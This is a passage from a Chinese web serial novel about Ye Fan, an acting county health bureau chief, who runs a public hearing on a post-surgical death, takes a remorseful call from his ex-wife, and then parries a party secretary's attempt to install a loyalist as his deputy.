“这个案子,我不仅要查,我还要公开查,透明查,办成铁案!”
他转向秦朗:“秦科长,你是医政专家。我给你授权,立刻从全市范围内,随机抽取三名外科专家,组成第三方专家鉴定组。吃住行,由我们局里负责,全程录像,任何人不得私下接触。”
他又转向刘建民:“刘主任,你是我们局的大管家。我给你任务,立刻联系死者家属**和当事医生高建军。告诉他们,两天后,周三上午九点,就在我们局里,召开公开听证会。”
“什么?”刘建民眼珠子都快瞪出来了,“公……公开听证会?”
“对。”叶凡的声音斩钉截铁,“把双方当事人,专家组,我们局的领导班子,还有邀请县电视台的记者,都请到现场。谁是谁非,谁对谁错,当着全县人民的面,说清楚,讲明白!”
“叶局,这万万不可啊!”刘建民急了,“那个**就是个无赖,高建军是个炮筒子,把他们俩搁一块,还有记者在,那不等于把**和**放一起吗?会出大事的!”
“出不了大事。”叶凡看着他,眼神锐利得像一把刀,“刘主任,你怕的不是出事,你是怕事情被搞清楚。你放心,听证会的主持人,我亲自来当。”
他环视四周,声音传遍了整个大院。
“我就是要让所有人看看,在我叶凡这里,没有和稀泥,没有潜规则。只有事实和公道!”
“这第一把火,就要烧掉那些藏在桌子底下的龌龊!谁敢伸手,就烧谁的手!”
话音落下,整个大院鸦雀无声。
刘建民呆立当场,冷汗顺着他的额角,一滴一滴地流了下来。
他本想挖个坑,把叶凡埋了。
却没想到,叶凡反手就把这个坑,变成了一座即将喷发的火山口,而他自己,就站在这火山口的边上。
第108章 公开听证,是审判还是舞台?
周三上午九点,青川县卫生局三楼的大会议室,座无虚席。
空气里弥漫着一种混合了紧张、好奇和**味的气息,像极了手术前家属等待室。
会议室的布局很刻意。
正前方是主席台,叶凡居中而坐,左手边是纪委派驻员和医政科长秦朗,右手边是办公室主任刘建民和三位从市里请来的外科专家。
台下,泾渭分明地分成了两个阵营。
左边,一个穿着黑色背心、露着刺青的光头壮汉,大马金刀地坐在第一排,身后跟着七八个流里流气的年轻人,个个表情不善。
他就是**,死者周桂芬的儿子。
他的脚边,还放着一个用白布盖着的相框。
右边,只孤零零地坐着一个男人。
白大褂没穿,但那股子生人勿近的气场,隔着十米都能感觉到。
他就是县中医院的外科“一把刀”,高建军。
他抱着手臂,下巴微微扬起,用眼角的余光打量着所有人,那眼神像是在看一堆等待解剖的标本。
最后一排,是苏沐秋带着县电视台的记者,摄像机已经架好,红色的录制灯一闪一闪,像一只不知疲倦的眼睛,审视着即将上演的一切。
刘建民的后背已经湿了。
他偷偷看了一眼身旁的叶凡,后者正低头翻阅着文件,神情平静得像是在看一份普通的体检报告。
刘建民心里直打鼓,这小子到底是真的有底气,还是在故弄玄虚?
这要是当着全县的面闹出**,他这个代局长第一个就得滚蛋!
“咳。”叶凡放下文件,对着话筒轻轻咳嗽一声,全场瞬间安静下来。
“今天,我们在这里,就周桂芬女士的医疗**,召开一次公开听证会。”叶凡的声音通过音响,清晰地传到每个角落,“我先说明三条规矩。”
“第一,摆事实,讲道理。谁嗓门大谁有理,在我这里行不通。”
“第二,尊重专业。我们请来了市里的专家组,他们的意见,将作为重要参考。”
“第三,全程录像,对公众负责。今天说的每一句话,做的每一件事,都会被记录下来。”
他顿了顿,目光扫过**,又看了看高建军。“现在,由患方家属先陈述。”
**等的就是这句话。
他猛地一拍桌子,站了起来,一把掀开脚边相框上的白布,露出一张老太太慈眉善目的遗像。
“各位领导,各位记者朋友!”**声泪俱下,嗓音洪亮,“大家看看!这就是我妈!一个健健康康的老太太,就因为胆里长了块小石头,听信了这个**凶手的话,来做什么破手术!结果呢!人就这么没了!”
他指着高建军,手指都在发抖:“这个姓高的,手术前把胸脯拍得山响,说是什么小手术,睡一觉就好。可手术后呢?人影都见不着!我妈疼得在床上打滚,他倒好,跟没事人一样!我问他,他就说正常反应!我妈发高烧,他还说正常!等到人快不行了,他才慢悠悠地跑过来!我可怜的妈啊!就这么活活被他给拖**!”
一番话说得是声情并茂,极具煽动性。
他身后的几个年轻人也跟着红了眼圈,一副悲痛欲绝的样子。
不明真相的旁听人员已经开始窃窃私语,看向高建军的眼神充满了鄙夷和愤怒。
刘建民的心提到了嗓子眼,手心里的汗把笔记本都浸湿了。
叶凡面无表情,等**哭诉完了,才把目光转向高建军。“高医生,你的解释呢?”
高建军冷哼一声,站了起来,连看都没看**一眼。
“整个手术过程,严格遵守无菌操作和手术规范,胆囊完整切除,胆总管探查无异常,术中出血不到五十毫升。手术本身,是成功的,完美的。”他的声音又冷又硬,充满了技术人员特有的傲慢,“至于术后感染,属于已知且已告知的并发症之一。患者本身有二十年的糖尿病史,血糖控制不佳,这都增加了感染风险。术后医嘱明确要求禁食、监控体温、注意创口清洁,但据当班护士反映,家属在术后第二天,就私自给患者喂食了油腻的鸡汤,且在患者第一次体温升高时,并未第一时间通知医护人员。”
他像是在背诵一份枯燥的报告,没有丝毫感情。
“所以,患者的死亡与我的手术操作没有直接因果关系。是患者自身基础病和家属不当护理,共同导致的严重后果。我拒绝承担任何责任,更拒绝任何形式的赔偿。”
“放**屁!”**勃然大怒,抓起桌上的矿泉水瓶就想砸过去,“你血口喷人!我妈都快饿**,我给她喝点鸡汤怎么了?你个天杀的庸医,还敢狡辩!”
“无知!”高建军吐出两个字,眼神里的轻蔑,像刀子一样。
现场顿时乱成一锅粥。
**身后的年轻人“呼啦”一下站了起来,眼看就要冲上台。
刘建民吓得脸都白了,连声喊着“保安!保安!”
“都坐下!”
一声断喝,不大,却带着不容置疑的威严。
是叶凡。
他站了起来,目光冷冷地扫过**那帮人,又定格在**脸上。
刚才还气势汹汹的**,被他看得心里一突,竟下意识地挥手让手下人坐了回去。
叶凡没有理会剑拔**张的双方,而是转向了专家席。
“三位专家,病历和手术记录都看过了。我想问第一个问题,以高建军医生的操作水平,在青川县,是不是顶尖的?”
三位专家对视一眼,其中一位年纪最大的白发专家推了推眼镜,回答道:“从手术记录来看,操作确实非常娴…非常规范,甚至超出了县级医院的平均水平。高医生在市里的外科领域,也是有一定名气的。”
“好。”叶凡点了点头,又问,“第二个问题,像周桂芬女士这样的高龄、且有长期糖尿病史的病人,进行胆囊切除术,术后发生感染的概率,是不是比普通病人要高得多?”
专家回答:“是的。糖尿病患者本身免疫力低下,血糖控制不好会严重影响伤口愈合,是术后感染的高危人群。这也是外科手术的常识。”
“最后一个问题。”叶凡的目光转向**,“专家们,请用最通俗的语言告诉我,给一个刚做完胆囊手术的病人喝油腻的鸡汤,会有什么后果?”
白发专家皱起了眉:“胡闹!简直是胡闹!胆囊切除后,胆汁储存和浓缩功能丧失,消化系统非常脆弱。此时进食油腻食物,会急剧加重肝脏和胆道的负担,引发急性胆管炎、胰腺炎,甚至造成消化道穿孔,这些都是致命的!”
**的脸瞬间涨成了猪肝色。
他想反驳,却发现一个字也说不出来。
全场雅雀无声。
刚才还义愤填膺的旁听者,此刻看**的眼神,已经变了味。
苏沐秋的眼睛亮了,她迅速在笔记本上记着什么,嘴角忍不住上扬。
叶凡没有乘胜追击,反而转过身,面向高建军。
所有人都以为他要宣布高建军无责了。
“高医生,我也想问你三个问题。”
高建军扬了扬眉,似乎在说“你问”。
“第一,手术前,你有没有把‘糖尿病史会极大增加术
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后感染风险’这一点,用**能听懂的话,明确地、反复地告诉他?”
高建军愣了一下,皱眉道:“术前谈话记录和手术同意书上都写了,他签字了。”
“我问的是,你有没有亲口、反复、通俗地告诉他,而不是指着文件让他签字。”叶凡的声音加重了。
高建军语塞:“我……我没那么多时间去解释常识。”
“好。”叶凡不置可否,继续问,“第二,术后医嘱,你有没有把‘为什么不能喝鸡汤’这个道理,给他讲清楚?还是只给了他一张写着‘禁食油腻’的单子?”
“这是护理常规,护士会交代。”高建军的脸色有些不自然。
“最后一个问题,高医生。”叶凡的目光变得前所未有的锐利,像一把无影灯下的手术刀,直刺高建军的内心,“你自始至终,是把周桂芬女士,当成一个有血有肉、需要关怀的病人,还是仅仅当成一个需要被切除胆囊的‘标本’?”
高建军如遭雷击,脸色瞬间惨白,嘴唇翕动,却一个字都说不出来。
叶凡环视全场,声音再次响起,这一次,不带任何情绪,却重若千钧。
“今天这个悲剧,到底是怎么发生的?我看清楚了。”
“**,你无知、鲁莽,把愚孝当爱心,亲手把你母亲推向了危险的边缘。你所谓的悲痛,更像是你为了掩盖自己心虚,和借机敲诈勒索的表演!”
“高建军!”他话锋一转,声色俱厉,“你技术高超,却傲慢无礼!你眼里只有病灶,没有病人!你把本该救死扶伤的沟通,当成浪费时间的累赘!你的手术刀能切除病变的胆囊,但你的冷漠和傲慢,却在病人和家属心里,种下了怀疑和仇恨的肿瘤!你亲手关上了信任的大门,最终,也让这扇门,反过来砸伤了你自己!”
他走到主席台中央,对着所有人,也对着摄像机,一字一句地宣布:
“我的结论是:本次医疗**,院方在医疗技术操作上,无明显过错。但是,在医患沟通上,存在重大缺陷,对引发后续严重后果,负有不可推卸的责任!”
“我决定:第一,由县中医院,向死者家属,支付三万元的人道主义补偿金及丧葬费用。**,如果你接受,就签字拿钱;不接受,可以走司法程序。但如果你再敢聚众**,扰乱公共秩序,我保证,**局会请你去喝茶。”
“第二,责令高建军医生,停职反省一个月。向死者家属,就其不当的沟通方式,进行公开道歉。反省期间,必须参加由局里组织的医患沟通培训班,考核不合格,不准重新上岗!”
“第三!”叶凡的声音传遍了卫生局的大院,“以此次事件为戒,在全县医疗系统内,开展为期三个月的‘服务态度与沟通技巧’专项整顿活动!考核结果与所有医护人员的评优、晋升、绩效,直接挂钩!”
“我叶凡今天把话放在这里,在青川县,医生的手术刀,要硬!心,要热!谁做不到,就请你脱下这身白大褂!”
话音落下,满场死寂。
**呆住了,他身后的混混们也呆住了。
三万块,离他的一百万天差地别,但叶凡的话,句句戳在他心窝子上,让他连闹下去的底气都没了。
高建军低下了头,这位全县最孤傲的外科医生,肩膀在微微颤抖。
刘建民瘫在椅子上,看着台上那个挺拔的身影,眼神里只剩下恐惧和……一丝他自己都不愿承认的敬畏。
他本想点一把火,烧死叶凡。
却没想到,叶凡用这把火,点亮了整个青川县医疗系统的天。
第109章 一场听证,几家悲欢!
听证会结束了。
人群像退潮的海水,缓缓散去,但每个人脸上都带着被巨浪拍击过的震撼。
他们带走的不只是一个医疗**的结论,更是一个名字——叶凡。
这个名字,在今天之前,只是一个传闻。
从今天起,它在青川县,成了一杆标尺。
“叶……叶局……”刘建民像被抽掉了骨头,挪到叶凡身边,脸上堆积的笑容比哭还难看,“您……您这真是……真是力挽狂狂狂……狂澜啊!”
他想拍马屁,却因为过度紧张,舌头打了结,一个词都说不囫囵。
叶凡甚至没看他,目光落在会场另一头。
高建军还站在原地,没有动。
这位全县最孤傲的外科医生,此刻像一尊失了魂的雕像,低着头,看着自己的双手。
那是一双能施行最精妙手术的手,此刻却在微微发抖。
他慢慢抬起头,迎上叶凡的目光,眼神复杂,有羞愧,有不甘,还有一丝被点醒后的茫然。
他迈开步子,穿过空无一人的会场,走到叶凡面前。
“我……错了。”
三个字,从这位全县外科“一把刀”的嘴里说出来,比让他做一台十二小时的手术还难。
叶凡看着他,神色平静:“错在哪了?”
“我……我的眼里,只有病,没有病人。”高建军的声音干涩。
“你的技术是青川县的宝贵财富。”叶凡的声音不高,却很有力,“但如果你的傲慢,让老百姓不敢把命交到你手上,那你的技术,就一文不值。停职期间,好好想想,你的手术刀,到底应该为什么而挥。”
说完,叶凡转身就走,不再多看他一眼。
高建军怔在原地,良久,他对着叶凡的背影,深深地鞠了一躬。
角落里,**已经蔫了。
他没敢再闹,也没敢再看叶凡一眼,只是默默地抱起母亲的遗像,带着那帮同样垂头丧气的兄弟,灰溜溜地从侧门溜了。
临走前,他回头看了一眼主席台上那个年轻人的背影,眼神里第一次有了恐惧。
整个会场,很快只剩下叶凡的小团队。
“我的娘唉!”王功一屁股坐在椅子上,拿起自己的大茶缸,才发现里面一滴水都没有了,“我这心脏……今天算是做了个搭桥手术。叶局,您刚才那几下,比手术刀还快,唰唰唰,一下子就把两边的脓都给挤出来了!”
李莉的眼睛亮得像星星,手里的小本子上记得密密麻麻,看叶凡的眼神,已经近乎崇拜。
陈杰更是激动得满脸通红,跑过来给叶凡的杯子续上水,动作恭敬得像是在给师父敬茶。
“行了,别拍马屁了。”叶凡揉了揉眉心,刚才的高度紧绷,让他此刻感到一阵疲惫,“苏大记者,你们的‘炮弹’,素材够了吗?”
苏沐秋收起摄像机,走了过来,一双美目波光流转,带着几分狡黠的笑意:“何止是够了,简直可以做个专题报道了。标题我都想好了,就叫《一场听证会,给全县干部上了一堂执政课》。”
她凑到叶凡身边,压低了声音:“你今天可把刘建民那只老狐狸给吓破胆了。我刚才看见他出去的时候,腿都是软的。”
“想挖坑给我跳,就得有被坑埋了的觉悟。”叶凡轻笑一声。
“叮铃铃!”
就在这时,他的手机响了,是县长**的秘书。
“叶局长,李县长请您过去一趟。”
……
县长办公室。
**依旧站在那幅巨大的地图前,但这次,他的脸上带着一丝毫不掩饰的笑意。
“坐。”他指了指沙发,亲自给叶凡倒了杯水,“我看了你们听证会的直播录像,很好。”
他用了“很好”两个字。
“你不是在断案,你是在立规矩。”**坐了下来,目光锐利,“你打的不是**和高建军的板子,是打在青川县这几十年‘和稀泥’的官场作风上。这一仗,打得漂亮。”
“我只是做了我该做的。”
“你该做的,就是捅破这个脓包。”**弹了弹烟灰,“马德龙留下的烂摊子,千头万绪,但最关键的是人心散了,规矩坏了。你今天立的这个威,比我开十次会都管用。”
他话锋一转:“不过,你也要有准备。你今天得罪的人可不止一个刘建民。你断了很多人的财路,也砸了很多人的饭碗。接下来,盯着你的人会更多,想把你拉下马的人,也不会少。”
“李县长,我是个医生,我不怕得罪人,只怕救不了人。”
“好!”**重重地拍了拍沙发扶手,“有你这句话,我就放心。放手去干!天塌下来,有县委,有我,给你顶着!”
从县长办公室出来,天色已晚。
苏沐秋靠在车边,似乎已经等了很久。
晚风吹起她的长发,路灯的光晕给她镀上了一层柔和的边。
“县长又给你布置新任务了?”她笑着问。
“算是领了道圣旨,让我继续当这个‘恶人’。”叶凡开了句玩笑,紧绷了一天的神经,在看到她之后,莫名地松弛了下来。
“那‘恶人’同志,有没有兴趣,让我这个记者请你吃顿便饭,犒劳犒劳?”
“求之不得。”
两人没去什么大饭店,就在县政府旁边找了个路边摊,点了两碗馄饨,几样小菜。
热气腾腾的馄饨下肚,叶凡才感觉自己活了过来。
“说真的,你不怕吗?”苏沐秋看着他,眼神里有好奇,也有藏不住的关心,“你今天这么干,几乎是把整个县的潜规则都给掀了。”
“怕,”叶凡坦然地看着她,“我怕的是,如果连我都选择同流合污,那青川县的老百姓,就真的没指望了。”
苏沐秋的心,被这
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句话轻轻地拨动了一下。
她看着眼前的男人,在官场上杀伐果断,此刻在路灯下,眉宇间却带着一丝纯粹的理想主义。
这种矛盾,形成了一种致命的吸引力。
她笑了,拿起醋瓶,给叶凡的碟子里倒了点醋:“光有理想可填不饱肚子,来,叶大局长,尝尝青川县的特产陈醋,包治百病。”
叶凡看着她眼里的笑意,也笑了。
就在这轻松惬意的氛围中,谁也没有注意到,不远处一辆黑色的奥迪车里,一双眼睛正死死地盯着他们。
……
江城市,电视台家属院。
柳如烟将车停进车位,身心俱疲地回到家中。
自从父亲柳传明和哥哥柳志鹏出事后,她一夜之间,就从天之骄女,变成了别人背后指指点点的对象。
电视台里那些曾经对她阿谀奉承的同事,如今看她的眼神都充满了异样。
她把自己扔在沙发上,烦躁地打开电视,想用无聊的节目来麻痹自己。
“下面为您播报一则来自青川县的特别报道。今日,青川县卫生局就一起备受关注的医疗**,创新性地举行了一场公开听证会。代理局长叶凡在会上……”
“叶凡”两个字,像电流一样击中了柳如烟。
她猛地坐直,死死地盯着电视屏幕。
屏幕上,那个她曾经无比熟悉,又无比鄙夷的男人,正站在主席台中央。
他穿着一身笔挺的干部装,神情沉稳,目光锐利。
面对着台下剑拔**张的双方和闪烁的镜头,他侃侃而谈,条理清晰,气场强大。
那不是她记忆中那个内向木讷、在自己家人面前连头都抬不起来的叶凡。
这是一个她从未见过的,陌生的叶凡。
一个眼神就能镇住场面,一句话就能直抵人心,一个决定就能让全场敬畏的,手握权力的叶凡。
新闻的最后,是记者对旁听群众的采访。
“那位叶局长,真是个好官!有魄力!敢担当!”
“是啊,咱们青川县,要是多几个这样的干部就好了!”
柳如烟的脑子里“嗡”的一声,一片空白。
她想起了离婚那天,父亲指着叶凡的鼻子,骂他“烂泥扶不上墙”。
她想起了哥哥拿出那些伪造的照片时,叶凡那百口莫辩的痛苦眼神。
她想起了自己,是如何在他最需要信任的时候,冷冰冰地递上了那份离婚协议书。
烂泥?
一个被县长倚重,被百姓称赞,举手投足间都散发着自信和力量的男人,是烂泥?
柳如烟看着电视上那个熟悉又陌生的身影,心脏像是被一只无形的手紧紧攥住,疼得无法呼吸。
她的手在颤抖,拿起手机,下意识地翻到了那个她拉黑又加回来,却再也没敢拨打过的号码。
悔恨,像潮水一般,将她彻底淹没。
第110章 悔恨的电话,陌生的号码!
电视屏幕暗了下去,但柳如烟眼前的黑暗中,却反复闪现着叶凡在主席台上的身影。
沉稳,锐利,带着一种她从未见过的力量感。
那不是力量的炫耀,而是一种源于绝对自信的内敛。
就像一把藏在鞘里的名刀,无需出鞘,其锋芒已然逼人。
烂泥扶不上墙?
这句话,像一根烧红的铁钎,狠狠烙在她的心上,烫得她五脏六腑都在痉挛。
是谁瞎了眼?
是那个刚愎自用,只信权势不信人品的父亲?是那个嚣张跋扈,自以为能掌控一切的哥哥?还是……那个被虚荣和面子蒙蔽了双眼,亲手推开身边珍宝的自己?
悔恨,不再是涓涓细流,而是决堤的洪水,瞬间将她吞没。
她颤抖着手,从通讯录的黑名单里,找出了那个熟悉的号码。
那个号码,曾是她最甜蜜的快捷拨号,也曾是她最鄙夷的过往。
指尖在拨号键上悬停了许久,仿佛有千斤重。
她想说什么?
对不起?
这两个字,在此刻显得如此廉价,如此苍白。
一句对不起,能换回那个男人被当众羞辱的尊严吗?能弥补他净身出户,远走他乡的孤寂吗?
可除了对不起,她还能说什么?
最终,她还是按了下去。
……
青川县,政府旁的路边摊。
夜风带着一丝凉意,但馄饨碗里升腾起的热气,却将这一方小小的天地熏得暖意融融。
叶凡刚吃完最后一只馄饨,满足地放下勺子。
这种久违的烟火气,让他紧绷了一天的神经彻底松弛下来。
苏沐秋支着下巴,看他吃得香甜,眼里的笑意像漾开的涟漪。
“恶人同志,吃饱了?”她俏皮地问。
“吃饱了。”叶凡笑了笑,“多谢苏大记者的款待。这顿饭,比任何庆功宴都舒服。”
“那当然,我挑的地方,主打一个真实。”苏沐秋正要说什么,叶凡的手机突兀地响了起来。
他拿起来一看,屏幕上跳动的,是一个来自江城的,既熟悉又陌生的号码。
柳如烟。
叶凡的眉头几不可察地蹙了一下,随即又恢复了平静。
他看了一眼对面的苏沐秋,还是按下了接听键。
“喂。”
他的声音很平淡,就像接一个无关紧要的推销电话。
电话那头,是长久的沉默。
只有一阵压抑的、微微颤抖的呼吸声,通过电波传了过来。
叶凡没有催促,也没有不耐烦,只是静静地等着。
“……我,”柳如烟的声音沙哑得像是被砂纸磨过,“我看到新闻了。”
“嗯。”叶凡应了一声,再无下文。
这种平静,比任何质问和嘲讽都更让柳如烟难受。
她宁愿叶凡痛骂她一顿,或者用胜利者的姿态奚落她,也好过此刻这般,将她视若空气。
“你……”她深吸一口气,似乎用尽了全身的力气,“你……还好吗?”
问出这句话,她自己都觉得可笑。
他好不好,新闻里已经说得明明白白。
他现在是青川县炙手可热的**新星,是百姓口中的好官,是县长眼里的干将。
他好得很。
不好的是她。
“我很好。”叶凡的语气依旧波澜不惊,“有事吗?”
这句客气而疏离的“有事吗”,像一堵无形的墙,瞬间将两人隔在了两个世界。
“我……我只是想……想说……”柳如烟的声音哽咽了,“对……对不起。”
终于,这三个字还是说了出来。
叶凡沉默了片刻。
“都过去了。”他说。
不是“我原谅你”,也不是“我没放在心上”,而是“都过去了”。
过去的人,过去的事,就像那台失败的婚姻手术,已经愈合,结痂,脱落。
如今再回头看,连疤痕都快要淡忘了。
柳如烟再也控制不住,低低的啜泣声从电话那头传来。
“如果没什么事,我先挂了。这边还有点忙。”叶凡不想再听下去。
“叶凡!”柳如烟忽然喊住了他,声音里带着一丝绝望的祈求,“我们……还能……还能……”
“不能。”
叶凡干脆利落地打断了她,没有半分犹豫。
说完,他直接挂断了电话。
整个过程,苏沐秋都看在眼里。她没有说话,只是默默地帮叶凡的茶杯续满了水。
叶凡放下手机,端起茶杯,发现茶水温热,正好入口。
他喝了一口,长长地舒了口气,仿佛卸下了身上最后一点无形的枷锁。
“前妻?”苏沐秋状似无意地问,一边用筷子拨弄着碗里的小菜。
“嗯。”
“看来,省城吹来的那阵风,不仅没吹歪你的手术台,反而把自己给吹后悔了。”苏沐秋的语气里带着几分揶揄,但眼神里,却藏着一丝不易察觉的紧张。
叶凡看着她,忽然笑了:“过去的病历,已经封存归档了。我现在的主治医生,只负责眼前的病人。”
苏沐秋听懂了他话里的双关,脸颊微微一热,嘴上却不饶人:“那叶大局长可得看仔细了,别把阑尾炎当成普通肚子疼给治了。”
“放心,我的诊断,一向很准。”
两人相视一笑,之前那一点点因为电话而起的微妙气氛,瞬间烟消云散。
一顿饭吃完,苏沐秋开车送叶凡回卫生局的临时宿舍。
车停在宿舍楼下,叶凡正要下车,手机又响了。
这次,是一个本地的陌生号码。
叶凡皱了
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皱眉,接了起来。
“喂,您好,是叶局长吗?”电话那头,传来一个谄媚又带着几分战战兢兢的声音。
是办公室主任,刘建民。
“刘主任?这么晚了,有事?”叶凡的语气很平淡。
“哎哟,叶局长,您这真是……日理万机,辛苦,太辛苦了!”刘建民在那头先是一顿猛拍,“我……我是想跟您汇报个事儿。今天下午,县委的张**,亲自给我打了个电话。”
张**?
县委**张海涛!
叶凡的眼睛微微眯了起来。
青川县人人都知道,县委**张海涛和县长**,面上和气,底下却分歧不小。
自己是**一手提拔起来的,张海涛这个时候找刘建民,意欲何为?
“张**在电话里,可是把您好一顿夸啊!”刘建民的语气夸张得像是在说书,“说您年轻有为,敢打敢拼,有魄力,有担当!说您那场听证会,是给全县干部上了一堂生动的执政为民课!”
叶凡没有说话,静静地听着。
官场上,领导的夸奖,有时候比批评更可怕。
尤其是来自对立阵营领导的夸奖。
“最后,张**特意嘱咐我,”刘建民终于说到了重点,声音都压低了八度,“说……想请您明天上午十点,去他办公室坐一坐,喝杯茶,聊一聊咱们县医疗改革的下一步工作。”
来了。
叶凡的心里,明镜似的。
这场听证会,自己打了**,罚了高建军,看似威风八面,但也等于是在张海涛的地盘上,用**的刀,唱了一出大戏。
张海涛如果毫无反应,那他就不是青川县的一把手了。
这杯茶,是鸿门宴,也是投名状。
“我知道了,刘主任。谢谢你。”叶凡的语气听不出任何情绪。
“不谢不谢,为领导服务!”刘建民受宠若惊地挂了电话。
车里,苏沐秋看着叶凡,她虽然没听到电话内容,但从叶凡那瞬间变得深邃的眼神里,已经猜到了七八分。
“又有新任务了?”
“嗯,”叶凡推开车门,回头对她笑了笑,“一个饭局刚结束,另一个茶局又来了。”
“这次的茶,怕是不好喝吧?”苏沐秋的眼中,流露出一丝担忧。
“再难喝的茶,也得喝。”叶凡站在夜色里,身形挺拔,“不尝尝,怎么知道是苦是甜,是**,还是良方?”
他挥了挥手,转身走进了宿舍楼。
苏沐秋看着他的背影消失在楼道昏黄的灯光里,久久没有发动汽车。
青川县的夜,看似平静。
但她知道,水面之下,一场新的风暴,已经开始酝酿。
明天的那杯茶,将决定叶凡在这片土地上,是能乘风破浪,还是会触礁翻船。
第111章 鸿门宴上,茶比酒更烈!
第二天上午,九点半。
叶凡站在县委大院的门口,阳光正好,照得那栋略显陈旧的苏式建筑,平添了几分威严。
和卫生局那边人来人往的热闹不同,这里安静得能听见风吹过梧桐树叶的沙沙声。
空气中仿佛都带着一种无形的秩序感,让人的脚步声都不自觉地放轻了。
口袋里的手机震了一下,是苏沐秋发来的信息。
“茶局凶险,自带解药。解药没有,白开水也行,至少能稀释毒性。”
叶凡看着屏幕,嘴角泛起一丝笑意,回了两个字:“收到。”
刚走进大楼,一个熟悉的身影就满脸堆笑地迎了上来。
“哎哟,叶局长,您可来了!我在这儿等您半天了!”
是刘建民。
他今天换上了一身崭新的深色夹克,头发梳得油光锃亮,那副谄媚的姿态和他当初在会议上公然发难的样子,判若两人。
“张**的办公室在三楼,我给您带路。”刘建民点头哈腰地在前面引路,腰弯得像只煮熟的虾米。
周围偶尔路过的干部,看到这一幕,眼神都变得有些玩味。
谁都知道刘建民是张**的人,如今却对一个代局长这般恭敬,这本身就是一场无声的戏。
叶凡神色淡然,不远不近地跟着,既不热络,也不疏远。
他知道,这杯茶,从他踏进这栋楼的那一刻,就已经开始喝了。
张海涛的办公室,比**的要大上一些,装修也更显古朴。
巨大的红木办公桌,背后是一整面墙的书柜,里面摆满了各种精装书籍和文件。
一个五十岁上下的男人正坐在沙发上,手里捧着一份报纸,正是昨天青川县的晚报,头版头条,就是关于那场公开听证会的报道。
他穿着一件半旧的白衬衫,戴着一副黑框眼镜,看起来温文尔雅,像个大学教授,而非执掌一县权柄的县委**。
“张**,叶凡同志到了。”刘建民恭敬地站在门口,声音都放低了八度。
张海涛放下报纸,抬起头,脸上露出了和煦的笑容。
“小叶来了,快坐,快坐。”他站起身,亲自指了指对面的沙发,又对刘建民说,“建民啊,去把我那罐大红袍拿出来,给小叶同志尝尝。”
这番姿态,亲切得像是长辈在招待晚辈。
刘建民受宠若惊地去了,办公室里只剩下叶凡和张海涛两个人。
“小叶同志,年轻有为啊。”张海涛打量着叶凡,目光里带着审视和欣赏,“建国同志真是慧眼识珠,给你这把快刀,找到了用武之地。”
这话听着是夸奖,却暗藏机锋。
一句“建国同志的快刀”,直接给叶凡定了性——你只是**手里的一件工具。
叶凡坐在沙发上,腰背挺直,脸上挂着谦逊的微笑:“谢谢张**夸奖。我只是个医生,看到病了,总想着治好,不管这病人是谁,病有多难治。”
他不接“快刀”的话茬,而是把自己拉回到“医生”的身份上。
医生治病,天经地义,无关派系,更无关是谁的刀。
张海涛眼底闪过一丝不易察觉的锐光,脸上的笑容却更盛了。
“说得好!我们这些干部,就是要当好老百姓的‘医生’嘛!”他哈哈一笑,把话题拉了回来,“你那场听证会,我看了录像,也看了报道。办得很好,有理有据,有情有法,既解决了问题,又教育了干部,还给全县人民上了一堂生动的普法课。这是大功一件!”
刘建民端着茶具进来了,小心翼翼地洗杯、置茶、冲泡,一套流程行云流水。
很快,两杯色泽红艳的茶汤,就摆在了两人面前。
“来,尝尝。”张海涛端起茶杯,做了个请的手势。
叶凡端起茶杯,没有马上喝,只是闻了闻那馥郁的茶香。
“卫生局这个摊子,积弊已久,马德龙的问题,只是冰山一角。”张海涛喝了口茶,慢悠悠地开了口,“你那‘三把火’,烧得很好,烧出了气象。但是,光有火还不行,还得有人。一个好汉三个帮嘛。”
来了。
叶凡心里明镜似的。
“我看了看卫生局的班子成员,”张海涛放下茶杯,手指在沙发扶手上轻轻敲击着,“大部分都是些老同志了,思想僵化,魄力不足。你这个‘主刀医生’也需要得力的助手来给你递好手术刀,擦好汗嘛。”
他身体微微前倾,看着叶凡的眼睛。
“我看,办公室的刘建民同志就不错。在局里干了十几年,情况熟,人脉广,迎来送往,处理各种复杂关系是一把好手。让他给你当个副手,专职负责行政后勤,帮你把那些杂事都理顺了,你好集中精力,去抓医疗改革的业务。你觉得怎么样?”
这才是今天这杯茶里,最烈的一口。
这已经不是暗示,而是赤裸裸地安插人手。
刘建民是他的心腹,只要刘建民当上了副局长,掌控了行政和后勤,就等于在他叶凡身边安了一双眼睛,一只手,随时可以掣肘,随时可以釜底抽薪。
如果叶凡同意,那他这个代局长,就成了个被架空的业务主管,以后再想有什么大动作,都得看刘建民的脸色。
这等于直接向张海涛递了投名状,彻底得罪了**。
如果他当场拒绝,那就是公然打县委**的脸,拂逆一把手的意图。
张海涛有无数种办法,让他这个“代局长”干不下去。
站在门口,假装整理茶叶的刘建民,耳朵竖得比兔子还长,呼吸都快要停滞了。
叶凡的脸上,看不出任何波澜。
他端起茶杯,轻轻抿了一口。
茶汤入口,醇厚甘爽,的确是好茶。
“张**,您真是高瞻远瞩,一针见血地指出了我们卫生局目前最核心的问题。”他先是送上了一顶高帽。
张海涛和刘建民的脸上都露出了一丝不易察觉的笑意。
“刘主任确实是局里的老同志,经验丰富,工作能力也很强。”叶凡话锋一转,看向刘建民,后者立刻激动地挺直了腰杆。
“但是,”叶凡的这两个字,让刘建民的心瞬间提到了嗓子眼,“我这个‘主刀医生’,现在做的还不是常规手术,是一场急诊抢救。”
他放下茶杯,目光清澈地迎向张海涛。
“现在病人刚送到抢救室,生命体征还不稳定。我这‘三把火’,也只是初步的清创消毒,接下来的引流、缝合、抗感染,每一步都不能错。这个时候,整个团队最需要的,不是**行赏,而是高度统一。”
“我个人认为,现在谈人事安排,为时过早。一来,容易让大家的心思,从‘做事’转到‘做官’上,不利于我们刚刚点燃的工作热情。二来,我
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这几把火烧下去,是骡子是马,很快就能拉出来遛明白了。到时候,谁有能力,谁在捣乱,谁能当副手,谁该坐冷板凳,一目了然。”
他看着张海涛,语气诚恳。
“所以,恳请张**再给我一点时间。等我们这场‘抢救’做完了,病人脱离了生命危险,到时候再根据每个人的表现,通盘考虑人事问题。我相信,在县委的领导下,我们一定能选出最合适的人选,组成一个最强的领导班子。至于现在,谁当副手不重要,把事做成,才最重要。”
一番话,有理有据,滴水不漏。
他没有直接拒绝,而是把问题从“站队”拉回到了“做事”的层面。
他把张海涛的提议,定性为“**行赏”,而把自己的想法,拔高到“抢救病人”的高度。
你总不能拦着一个医生抢救病人,非要他在手术台上讨论谁当副院长吧?
这不合情理。
更绝的是最后一句,他把球又踢了回去——到时候,我相信在“县委的领导下”,能选出“最合适的人选”。
